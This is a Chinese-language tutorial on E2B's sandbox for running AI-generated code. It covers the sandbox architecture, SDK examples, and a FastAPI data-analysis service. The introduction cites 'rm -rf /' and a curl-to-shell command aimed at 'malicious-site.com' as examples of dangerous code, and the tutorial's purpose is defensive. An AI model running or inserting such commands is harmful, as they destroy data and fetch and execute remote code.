AI代码安全执行:E2B沙箱技术原理与实战指南
1. 项目概述:当AI需要“动手”时,我们如何安全地执行它生成的代码?
在AI应用开发,尤其是大语言模型(LLM)驱动的智能体(Agent)领域,一个核心且棘手的问题是:如何让AI“动手”去执行它自己写出来的代码?无论是数据分析、文件处理、网络请求还是系统操作,直接让AI生成的代码在宿主环境中运行,无异于打开了一个巨大的安全潘多拉魔盒。想象一下,一个旨在帮你分析数据的AI助手,一不小心(或被恶意引导)执行了rm -rf /或import os; os.system(‘curl http://malicious-site.com | sh’)这样的命令,后果不堪设想。
这正是e2b-dev/code-interpreter这个开源项目要解决的核心痛点。它不是一个简单的代码执行器,而是一套完整的、云原生的安全沙箱基础设施。你可以把它理解为一个专为AI代码执行而设计的“无菌操作室”或“数字隔离舱”。当你的AI应用(无论是基于OpenAI GPT、Anthropic Claude,还是其他任何LLM)生成了需要执行的Python、JavaScript等代码时,你可以将这段代码“投递”到E2B提供的远程沙箱中运行。沙箱与你的主应用环境完全隔离,拥有独立的文件系统、网络和进程空间。代码执行完毕后,你可以安全地获取结果(如打印输出、生成的文件),而沙箱本身则会被销毁,确保没有任何残留风险污染你的系统。
我最初接触这类需求是在构建一个自动化数据分析助手时。用户上传CSV文件,AI分析需求并生成pandas代码进行可视化。最初我们尝试在服务器Docker容器内直接eval,很快就遇到了依赖冲突、资源耗尽和安全漏洞的连环打击。E2B提供的方案,本质上是将“代码执行”这个高风险操作,外包给了一个专业、可弹性伸缩且按需付费的云服务。对于开发者而言,它极大地降低了构建可靠AI应用的复杂度和安全门槛。
2. 核心架构与安全设计解析
2.1 为什么是“沙箱”而非“容器”或“虚拟机”?
在技术选型上,E2B明确提出了“安全沙箱”(Secure Sandbox)的概念,这比泛泛而谈的“隔离环境”要精确得多。通常,我们实现代码隔离有几条路径:
- 语言级沙箱:如Python的
restricted execution(已弃用)或PyPy的沙箱模式。这类方案限制多、性能差,且往往存在已知的逃逸漏洞,难以应对复杂的恶意代码。 - 操作系统容器:如Docker。它提供了不错的隔离性,但“开箱即用”的Docker容器依然共享主机内核,存在通过内核漏洞进行逃逸的风险(尽管概率低)。此外,管理一个Docker守护进程本身就有安全和管理负担。
- 虚拟机(VM):如KVM、Firecracker。提供了硬件级别的强隔离,安全性最高。但传统VM启动慢(数秒至数十秒)、资源开销大,不适合毫秒级响应的AI交互场景。
E2B的沙箱基础设施,根据其官方文档的暗示和技术社区的讨论,很可能基于轻量级虚拟机(MicroVM)技术,例如Firecracker(AWS Lambda和Fargate背后的技术)。它在设计上做出了关键的权衡:
- 安全性与隔离性:采用MicroVM,每个沙箱都运行在独立的、裁剪过的Linux内核之上,实现了与主机及其他沙箱的强隔离。这从根本上杜绝了代码逃逸影响宿主或其他任务的可能。
- 启动速度与资源效率:MicroVM的启动时间可以优化到毫秒级(通常在100-500ms),并且内存开销极小(可低至5MB)。这使得为每一次AI代码执行请求动态创建和销毁一个全新的隔离环境成为可能,实现了真正的“无状态”和“按需使用”。
- 资源控制:沙箱可以精确限制CPU、内存、磁盘和网络的使用量。例如,你可以设定一个沙箱最多使用1核CPU、512MB内存,运行时间不超过30秒。一旦超限,沙箱会被立即终止,防止恶意代码消耗资源或发起DoS攻击。
注意:虽然E2B底层可能使用了MicroVM,但作为使用者,你完全无需关心这些细节。SDK提供了统一的抽象,你创建的是一个“沙箱会话”(Sandbox Session),而不是去手动配置虚拟机。这种封装极大地提升了开发效率。
2.2 核心组件与工作流程
E2B Code Interpreter 的架构可以简化为三个核心部分,理解它们有助于你更好地使用和调试。
控制平面(Control Plane / API): 这是E2B服务的大脑,负责管理沙箱的生命周期。当你调用
Sandbox.create()时,SDK会向E2B的API服务器发送请求。API服务器负责认证(验证你的API Key)、调度(决定在哪个物理服务器上创建沙箱)、并最终向底层的沙箱管理程序(如运行Firecracker的管理程序)发出创建指令。同时,它也是后续所有“执行代码”命令的中转站。数据平面(Data Plane / 沙箱运行时): 这是代码实际执行的地方。一个沙箱实例启动后,内部会预装一个完整的、但经过精简的语言运行时环境。对于Code Interpreter,默认是Python环境,并预装了如
numpy,pandas,matplotlib,requests等数据科学和网络请求常用库。当你的代码通过SDK提交后,会被传输到这个沙箱内部的一个临时文件中,然后由沙箱内的解释器(如CPython)执行。客户端SDK(Python/JavaScript): 这是开发者直接交互的接口。SDK封装了与E2B API的所有通信,提供了创建沙箱、运行代码、上传/下载文件、监听执行事件等高级API。它的设计非常简洁,几乎模仿了本地执行代码的体验。
一次完整的代码执行工作流程如下:
- 初始化:你的应用调用
Sandbox.create(),SDK携带API Key向E2B API发起请求。 - 沙箱启动:E2B服务在后台启动一个全新的MicroVM,加载基础镜像,并准备好Python运行时。完成后,将沙箱的连接信息(如WebSocket地址)返回给SDK。
- 代码执行:你调用
sandbox.run_code(‘print(“hello”)’)。SDK将代码片段通过安全通道(通常是WebSocket)发送到沙箱内。 - 隔离运行:沙箱内的Python进程执行该代码。所有文件操作(读/写)、网络请求(如果允许)都被限制在这个沙箱内部。
- 结果返回:执行产生的标准输出(stdout)、标准错误(stderr)、结果值(最后一个表达式的值)以及可能生成的文件列表,被封装后传回SDK。
- 资源清理:你调用
sandbox.close()或SDK上下文管理器退出时,E2B服务会彻底销毁这个MicroVM,释放所有资源。磁盘上的所有临时文件都会消失。
3. 从入门到精通:SDK深度使用指南
3.1 环境准备与认证配置
开始使用前,你需要一个E2B账户和API Key。这个过程和大多数云服务类似。
注册与获取Key: 访问 e2b.dev 注册。完成后,在控制台(Dashboard)的API Keys部分,你可以创建新的Key。非常重要的一点:E2B提供免费额度,这对于开发和测试完全足够。但生产环境务必关注用量和成本。
安全地管理API Key: 绝对不要将API Key硬编码在客户端代码或公开的仓库中。标准做法是使用环境变量。
# 在终端中设置(仅当前会话有效) export E2B_API_KEY=‘e2b_你的实际key’对于生产级应用,你应该使用秘密管理服务,如AWS Secrets Manager、HashiCorp Vault,或者在部署平台(如Vercel, Railway)的环境变量配置中设置。
安装SDK: 根据你的技术栈选择。两个SDK功能基本对等。
# Python项目 pip install e2b-code-interpreter # 或者使用 poetry/pipenv poetry add e2b-code-interpreter # Node.js/TypeScript项目 npm install @e2b/code-interpreter # 或 yarn/pnpm yarn add @e2b/code-interpreter
3.2 基础会话管理与代码执行
创建沙箱和执行代码是最基本的操作。E2B SDK的设计非常直观。
Python 示例:
from e2b_code_interpreter import Sandbox import os # 方式1:使用上下文管理器(推荐),自动管理沙箱的创建和关闭 with Sandbox() as sandbox: # API Key会自动从环境变量 E2B_API_KEY 读取 # 运行一段简单的代码 result = sandbox.run_code(""" import numpy as np import pandas as pd # 创建一个简单的DataFrame df = pd.DataFrame({'A': [1, 2, 3], 'B': [4, 5, 6]}) # 计算平均值 mean_val = df.mean().to_dict() mean_val """) print(f"执行结果: {result.text}") # 输出: {'A': 2.0, 'B': 5.0} print(f"执行是否成功: {result.error is None}") # 输出: True if result.error: print(f"错误信息: {result.error}") # 离开‘with’块后,沙箱会自动关闭销毁 # 方式2:手动管理生命周期(适用于更复杂的控制流程) sandbox = Sandbox() try: sandbox.run_code("x = 10") result = sandbox.run_code("x * 2") print(result.text) # 输出: 20 finally: sandbox.close() # 务必手动关闭,释放资源JavaScript/TypeScript 示例:
import { Sandbox } from '@e2b/code-interpreter'; async function main() { // 创建沙箱 const sandbox = await Sandbox.create(); try { // 执行代码 const exec1 = await sandbox.runCode('let data = [1, 2, 3, 4, 5];'); console.log('第一段代码执行完成'); const exec2 = await sandbox.runCode(` const sum = data.reduce((a, b) => a + b, 0); const avg = sum / data.length; \`总和是 \${sum}, 平均值是 \${avg}\` `); console.log('计算结果:', exec2.text); // 输出: “总和是 15, 平均值是 3” // 检查错误 if (exec2.error) { console.error('执行出错:', exec2.error); } } catch (error) { console.error('沙箱操作异常:', error); } finally { // 关闭沙箱 await sandbox.close(); } } main();关键对象解析:
Sandbox: 代表一个远程沙箱会话。创建它意味着在E2B云端启动了一个隔离环境。run_code方法返回一个Execution对象,包含以下关键属性:text: 代码执行后,最后一个表达式的值转换成的字符串。如果是print语句,输出在logs里。logs: 代码执行过程中产生的所有标准输出(stdout)和标准错误(stderr)的合并内容。error: 如果执行过程中发生异常(如语法错误、运行时错误),这里会包含错误信息。如果执行成功,则为null或None。artifacts: 执行过程中生成的文件列表(需要配合文件上传/下载功能)。
实操心得:
run_code是同步阻塞的。它会一直等待,直到沙箱内的代码执行完毕并返回结果。对于执行时间可能很长的任务(如训练一个小模型),你需要关注沙箱的超时设置,或者考虑将任务拆解。
3.3 高级功能:文件操作、超时与自定义环境
真实的AI应用场景 rarely 只运行一段孤立的代码。更多时候需要处理用户上传的文件,或者需要安装特定的依赖。
1. 文件上传与下载这是构建“数据分析助手”类应用的核心。假设用户上传了一个CSV文件,AI需要读取并分析它。
from e2b_code_interpreter import Sandbox import pandas as pd from io import StringIO # 模拟一个用户上传的CSV内容 csv_content = """name,age,city Alice,30,New York Bob,25,London Charlie,35,Tokyo """ with Sandbox() as sandbox: # 1. 将文件内容上传到沙箱的临时工作目录 # 沙箱内的路径是临时的,每次会话都不同 sandbox.upload_file(content=csv_content, path_in_sandbox='/tmp/data.csv') # 2. 在沙箱内执行代码,读取这个文件 result = sandbox.run_code(""" import pandas as pd df = pd.read_csv('/tmp/data.csv') # 进行一些分析 summary = { 'total_rows': len(df), 'average_age': df['age'].mean(), 'cities': df['city'].tolist() } summary """) print(f"分析结果: {result.text}") # 输出类似: {'total_rows': 3, 'average_age': 30.0, 'cities': ['New York', 'London', 'Tokyo']} # 3. 让AI生成一个图表,并下载图片 sandbox.run_code(""" import matplotlib.pyplot as plt plt.figure(figsize=(6,4)) plt.bar(df['name'], df['age']) plt.title('Age Distribution') plt.ylabel('Age') plt.savefig('/tmp/chart.png', dpi=100) plt.close() """) # 4. 从沙箱下载生成的文件 chart_data = sandbox.download_file('/tmp/chart.png') # chart_data 是字节流 (bytes),你可以保存到本地或直接发送给用户 with open('output_chart.png', 'wb') as f: f.write(chart_data) print("图表已下载到本地。")2. 设置超时与资源限制防止AI生成死循环或资源消耗过大的代码至关重要。你可以在创建沙箱时进行配置。
from e2b_code_interpreter import Sandbox # 创建一个有资源限制的沙箱 with Sandbox( timeout=30, # 沙箱整体存活时间,单位秒。超时后沙箱会被强制销毁。 cpus=1, # 限制CPU核心数(具体可用值需查阅最新文档) memory_mb=512, # 限制内存为512MB ) as sandbox: try: # 这段代码如果运行超过30秒,或者内存超过512MB,执行会失败,沙箱可能被终止。 result = sandbox.run_code(""" # 模拟一个可能耗时的计算 import time total = 0 for i in range(10**7): total += i """, timeout=15) # 还可以为单次run_code设置更短的超时 print(result.text) except Exception as e: print(f"执行失败,原因可能是超时或资源不足: {e}")3. 安装额外的Python包沙箱预装了许多常用包,但如果你需要scikit-learn或transformers呢?E2B沙箱支持在会话中临时安装包。
with Sandbox() as sandbox: # 在运行用户代码前,先安装必要的依赖 install_result = sandbox.run_code("!pip install scikit-learn -q") # 注意:`!pip` 是Jupyter风格的魔法命令,E2B沙箱可能支持。 # 更通用的方式是使用系统的包管理器,但沙箱环境可能受限。 # 最佳实践是查阅E2B文档,看是否支持`pip`命令或有其它的包管理接口。 # 安装后,即可使用 result = sandbox.run_code(""" from sklearn.datasets import load_iris from sklearn.tree import DecisionTreeClassifier import numpy as np iris = load_iris() clf = DecisionTreeClassifier() clf.fit(iris.data, iris.target) accuracy = np.mean(clf.predict(iris.data) == iris.target) f"模型在训练集上的准确率: {accuracy:.2%}" """) print(result.text)重要注意事项:在沙箱中安装包会消耗时间,并增加沙箱的启动延迟。对于生产环境,如果依赖固定,更高效的做法是联系E2B团队或使用高级功能,看是否能定制一个包含所需依赖的基础镜像。频繁安装相同的包会导致不必要的成本和时间开销。
4. 实战:构建一个安全的AI数据分析助手
让我们结合一个更完整的例子,看看如何用E2B Code Interpreter构建一个后端服务。假设我们有一个Web API,接收用户上传的Excel文件和自然语言描述(如“帮我计算每个部门的平均工资,并画出柱状图”),后端调用LLM生成代码,然后在沙箱中安全执行。
技术栈假设:FastAPI (Python后端), OpenAI GPT-4, E2B Code Interpreter。
# app.py import os import uuid from typing import Optional from fastapi import FastAPI, UploadFile, File, Form, HTTPException from pydantic import BaseModel import openai from e2b_code_interpreter import Sandbox app = FastAPI() openai.api_key = os.getenv("OPENAI_API_KEY") # E2B_API_KEY 已通过环境变量设置 class AnalysisRequest(BaseModel): file_content: str # 为了简化,这里假设前端已把文件转成base64或文本。实际应处理二进制。 user_query: str class AnalysisResponse(BaseModel): success: bool result_text: Optional[str] = None chart_filename: Optional[str] = None error: Optional[str] = None def generate_python_code_from_query(data_preview: str, user_query: str) -> str: """调用LLM,根据数据预览和用户查询,生成安全的、用于沙箱执行的Python代码。""" prompt = f""" 你是一个Python数据分析专家。用户上传了一个数据集,并提出了一个分析请求。 你的任务是生成一段**单一、完整、可独立运行**的Python代码,在E2B沙箱中执行。 数据已以CSV格式存储在变量`df`中(已用pandas读取)。你只需要生成后续的分析代码。 数据预览(前5行): {data_preview} 用户请求: {user_query} 要求: 1. 代码必须是一个完整的代码块,能直接运行。 2. 只使用沙箱内预装的库(如pandas, numpy, matplotlib, seaborn)。如果需要其他库,请用注释说明,但不要实际安装。 3. 确保代码安全,不要包含文件系统遍历、网络请求(除非必要且明确)、系统命令执行等危险操作。 4. 如果涉及图表,请将图表保存到‘/tmp/output_chart.png’。 5. 最后,将主要结果赋值给变量`final_result`(可以是字符串、字典、数字等)。 生成的代码: ```python """ try: response = openai.ChatCompletion.create( model="gpt-4", messages=[{"role": "user", "content": prompt}], temperature=0.2, # 低温度,让输出更确定、更安全 ) code_block = response.choices[0].message.content # 简单提取代码块内容 if "```python" in code_block: code_block = code_block.split("```python")[1].split("```")[0].strip() elif "```" in code_block: code_block = code_block.split("```")[1].split("```")[0].strip() return code_block except Exception as e: raise HTTPException(status_code=500, detail=f"LLM代码生成失败: {str(e)}") @app.post("/analyze", response_model=AnalysisResponse) async def analyze_data( file: UploadFile = File(...), query: str = Form(...), ): if not file.filename.endswith(('.csv', '.xlsx')): raise HTTPException(status_code=400, detail="仅支持CSV或Excel文件") # 1. 读取文件内容 contents = await file.read() # 简单处理:如果是CSV,直接解码;如果是Excel,需要更复杂的处理。这里以CSV为例。 data_str = contents.decode('utf-8') # 2. 生成数据预览(用于给LLM看) import pandas as pd from io import StringIO try: df_preview = pd.read_csv(StringIO(data_str)) data_preview = df_preview.head().to_string() except Exception as e: raise HTTPException(status_code=400, detail=f"文件解析失败: {str(e)}") # 3. 调用LLM生成分析代码 generated_code = generate_python_code_from_query(data_preview, query) # 4. 在E2B沙箱中安全执行生成的代码 chart_filename = None try: with Sandbox(timeout=60) as sandbox: # 4.1 上传用户数据文件到沙箱 sandbox.upload_file(content=data_str, path_in_sandbox='/tmp/user_data.csv') # 4.2 构建最终要执行的代码:先读取数据,再执行LLM生成的代码 full_code = f""" import pandas as pd import matplotlib matplotlib.use('Agg') # 在无头环境中使用Agg后端 import matplotlib.pyplot as plt import numpy as np # 读取用户上传的数据 df = pd.read_csv('/tmp/user_data.csv') # 以下是AI生成的代码 {generated_code} """ execution = sandbox.run_code(full_code) # 4.3 处理结果 result_text = execution.text if execution.text else execution.logs error_info = execution.error # 4.4 检查是否生成了图表文件,并下载 try: chart_data = sandbox.download_file('/tmp/output_chart.png') chart_filename = f"chart_{uuid.uuid4().hex[:8]}.png" with open(f"static/{chart_filename}", 'wb') as f: f.write(chart_data) except Exception: # 没有生成图表是正常的 pass return AnalysisResponse( success=error_info is None, result_text=result_text, chart_filename=chart_filename, error=str(error_info) if error_info else None ) except Exception as e: return AnalysisResponse(success=False, error=f"沙箱执行失败: {str(e)}") # 前端可以通过 /analyze 接口上传文件和描述,获取分析结果和图表URL。这个例子展示了几个关键点:
- 职责分离:LLM只负责生成“做什么”的代码逻辑,而“在哪里安全地执行”由E2B沙箱负责。
- 输入净化:虽然LLM生成的代码可能有问题,但由于运行在沙箱中,其破坏性被限制在沙箱内。我们还可以在提示词中强调安全规范。
- 文件流闭环:用户文件上传 → 传入沙箱 → AI代码处理 → 结果(文本/图表)返回给用户,形成了一个完整的、安全的处理闭环。
5. 常见问题、性能调优与成本考量
在实际集成E2B Code Interpreter时,你会遇到一些典型问题。以下是我在项目中踩过坑后总结的经验。
5.1 常见问题与排查
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
Sandbox创建失败,提示认证错误 | 1. API Key未设置或错误。 2. API Key对应的账户额度已用尽或无效。 | 1. 检查环境变量E2B_API_KEY是否正确设置并已加载(重启IDE/终端)。2. 登录E2B控制台,检查API Key状态和用量。 |
run_code执行超时 | 1. 代码本身有死循环或计算量过大。 2. 沙箱的 timeout参数设置过短。3. 网络延迟。 | 1. 审查AI生成的代码,增加逻辑检查或超时控制。 2. 适当增加 Sandbox或run_code的timeout值。3. 对于长任务,考虑拆分成多个 run_code调用,并保存中间状态到沙箱文件系统。 |
代码执行成功,但result.text为空 | 1. 代码最后一行不是一个表达式,而是语句(如print(‘hi’)或x=1)。2. 最后一个表达式的结果是 None。 | 1. 确保AI生成的代码最后一行是需要返回的表达式,例如analysis_result而不是print(analysis_result)。2. 在提示词中明确要求LLM将结果赋值给一个特定变量。 |
导入第三方库失败(ModuleNotFoundError) | 沙箱基础镜像中未预装该库。 | 1. 在代码执行前,先运行!pip install package_name(如果沙箱支持)。2. 查阅E2B官方文档,查看预装包列表。 3. 对于生产环境,考虑定制镜像或联系E2B支持。 |
| 文件上传/下载失败 | 1. 文件路径错误。 2. 文件大小超过限制。 3. 沙箱会话已过期或关闭。 | 1. 使用绝对路径(如/tmp/目录)。2. 检查E2B对单个文件大小的限制。 3. 确保文件操作在 sandbox.close()之前完成。 |
网络请求(如requests.get)被阻止 | 沙箱默认可能限制外网访问,或只允许访问特定白名单。 | 1. 检查E2B文档关于网络访问的策略。 2. 如果必须联网,确认是否需要在控制台开启相应权限或使用代理配置。 |
5.2 性能调优建议
沙箱复用 vs. 即时创建:
- 即时创建:每个用户请求创建一个新沙箱(
with Sandbox())。最安全,完全隔离,但冷启动有延迟(几百毫秒到几秒)。 - 沙箱复用:对于一个会话型应用(如聊天机器人),可以为每个用户会话保持一个沙箱长连接,在其间多次调用
run_code。这能避免重复的启动开销,但需要注意沙箱的闲置超时设置,并且要确保用户间的代码不会相互干扰(从逻辑上隔离)。 - 我的经验:对于简单的、一次性的分析任务,即时创建即可。对于复杂的、多轮交互的Agent,复用沙箱能显著提升体验。务必在会话结束时显式调用
close()。
- 即时创建:每个用户请求创建一个新沙箱(
代码优化与预处理:
- 减少往返:避免频繁调用
run_code。将相关的多行代码合并到一次执行中,减少网络往返开销。 - 预加载数据:如果多个分析步骤基于同一份数据,在第一次
run_code中将数据读入沙箱内存的变量中,后续代码直接使用该变量,而不是每次都从文件读取。 - 限制输出大小:AI代码可能会生成巨大的DataFrame或列表。如果直接
print(df),返回的logs会非常大,影响传输速度。指导AI生成摘要性结果。
- 减少往返:避免频繁调用
异步处理: E2B的SDK调用是同步的。如果你的后端是异步框架(如FastAPI),长时间运行的代码会阻塞整个事件循环。解决方案是将耗时的E2B调用放到线程池中执行,避免阻塞主线程。
import asyncio from concurrent.futures import ThreadPoolExecutor executor = ThreadPoolExecutor() async def run_code_in_sandbox_async(code_str): loop = asyncio.get_event_loop() # 将同步的Sandbox操作放到线程池中运行 result = await loop.run_in_executor(executor, _sync_sandbox_run, code_str) return result def _sync_sandbox_run(code_str): # 这是一个同步函数,会在线程池中运行 with Sandbox() as sandbox: return sandbox.run_code(code_str)
5.3 成本考量与监控
E2B采用按用量计费的模式,主要关注以下几个指标:
- 沙箱运行时间:从创建 (
create) 到关闭 (close) 的总时长。这是最主要的计费依据。尽量做到“用时创建,用完即关”,避免沙箱空转。 - 代码执行次数:每次
run_code的调用可能会计费。 - 资源规格:更高配置的CPU、内存可能单价更高。
省钱技巧:
- 设置合理的超时:根据任务复杂度,设置刚好够用的
timeout,避免因代码错误导致沙箱长时间空跑。 - 使用免费额度进行开发和测试:E2B提供了慷慨的免费额度,足够原型验证。
- 监控用量:定期登录E2B控制台查看用量分析,识别是否有异常消耗(例如,某个错误的提示词导致AI生成了死循环代码)。
- 缓存结果:对于相同的用户查询和输入数据,可以考虑在应用层缓存最终结果,避免重复执行相同的计算。
将E2B Code Interpreter集成到你的AI产品中,就像为你的应用聘请了一位不知疲倦、绝对服从且被关在防爆玻璃后的超级程序员。它承担了所有脏活、累活和危险活,让你能专注于LLM提示工程、用户体验和业务逻辑。从简单的数据透视到复杂的模拟计算,安全沙箱为AI的“动手能力”提供了坚实可靠的基础设施。开始你的第一个沙箱会话,你会发现,让AI安全地运行代码,从未如此简单。
